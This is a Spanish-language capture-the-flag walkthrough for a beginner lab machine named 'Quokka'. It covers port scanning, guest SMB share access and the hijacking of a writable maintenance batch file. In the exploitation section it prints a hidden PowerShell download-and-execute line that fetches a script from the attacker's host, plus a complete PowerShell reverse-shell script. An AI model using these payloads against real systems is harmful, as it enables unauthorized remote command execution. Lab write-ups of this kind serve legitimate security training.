Quokka
🔍 Dificultad: Principiante
🔍 RECONOCIMIENTO
En primer lugar, tras conectarnos a la máquina, utilizamos el comando:
ping -c 1 192.168.1.57
para verificar la conectividad de red.

A continuación, se realiza el comando:
nmap -p- --open 192.168.1.57 --min-rate 5000 -n
para realizar un escaneo de puertos y servicios detallado en la dirección IP.

Como resultado del escaneo, se identificaron los siguientes puertos abiertos y sus servicios asociados:
80/tcp: Corresponde al servicio HTTP, utilizado para tráfico web no cifrado.
135/tcp: Relacionado con el servicio MSRPC (Microsoft Remote Procedure Call).
139/tcp: Asociado al protocolo NetBIOS-SSN, usado para compartir recursos en redes locales.
445/tcp: Corresponde al servicio Microsoft-DS (Server Message Block, SMB) para compartir archivos e impresoras.
5985/tcp: Utilizado por WSMan (Windows Remote Management).
47001/tcp: Asociado al servicio WinRM (Windows Remote Management).
49664-49670/tcp: Puertos abiertos con servicios desconocidos, posiblemente usados por aplicaciones específicas o dinámicas del sistema.
A continuación, se realizará un análisis más detallado de los servicios activos en estos puertos.
🔎 EXPLORACIÓN
Se utiliza el comando:
sudo nmap -sCV -p80,135,139,445,5985,47001,49664-49670 -v 192.168.1.57
para obtener más información sobre ese puerto específicamente.


El análisis identificó la presencia de un servidor IIS y un servicio Samba en el sistema.


En la página web encontramos algo que nos podría ayudar como Daniel, Luis y “Quokka” deben revisar un servicio secundario que opera con privilegios elevados. Curiosamente, estos nombres coinciden con los usuarios listados en la sección de contacto del portal. Esta pista sugiere que el servicio Samba podría contener información relevante o ser un punto de interés.
netexec smb 192.168.1.57 -u 'guest' -p '' --shares

Nos conectamos.
smbclient //192.168.1.57/Compartido -U guest -N

Entre todos nos llama la atención el archivo mantenamiento.bat.

Nos los descargamos para ver su contenido.

🚀 EXPLOTACIÓN
Modificamos el archivo para ejecutar una Reverse Shell.
@echo off
:: Reverse shell a Kali
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "iex(New-Object Net.WebClient).DownloadString('http://192.168.1.56:8000/shell.ps1')"
:: Fin del script
exit
do {
# Delay before establishing network connection, and between retries
Start-Sleep -Seconds 1
# Connect to C2
try{
$TCPClient = New-Object Net.Sockets.TCPClient('127.0.0.2', 13337)
} catch {}
} until ($TCPClient.Connected)
$NetworkStream = $TCPClient.GetStream()
$StreamWriter = New-Object IO.StreamWriter($NetworkStream)
# Writes a string to C2
function WriteToStream ($String) {
# Create buffer to be used for next network stream read. Size is determined by the TCP client recieve buffer (65536 by default)
[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0}
# Write to C2
$StreamWriter.Write($String + 'SHELL> ')
$StreamWriter.Flush()
}
# Initial output to C2. The function also creates the inital empty byte array buffer used below.
WriteToStream ''
# Loop that breaks if NetworkStream.Read throws an exception - will happen if connection is closed.
while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {
# Encode command, remove last byte/newline
$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1)
# Execute command and save output (including errors thrown)
$Output = try {
Invoke-Expression $Command 2>&1 | Out-String
} catch {
$_ | Out-String
}
# Write output to C2
WriteToStream ($Output)
}
# Closes the StreamWriter and the underlying TCPClient
$StreamWriter.Close()
Debemos configurar un servidor para que el script pueda obtener la shell y enviárnosla de vuelta. Para ello, abriremos un servidor en Python y pondremos un puerto en escucha.


🔐 PRIVILEGIOS

Ya somos root.
Te deseo mucho éxito en tu búsqueda de las flags! Recuerda prestar atención a cada detalle, examinar los archivos y servicios con detenimiento, y utilizar todas las herramientas disponibles para encontrarlas. La clave para el éxito está en la perseverancia y en no dejar ningún rincón sin explorar. ¡Adelante, hacker! 💻🔍🚀
Last updated
Was this helpful?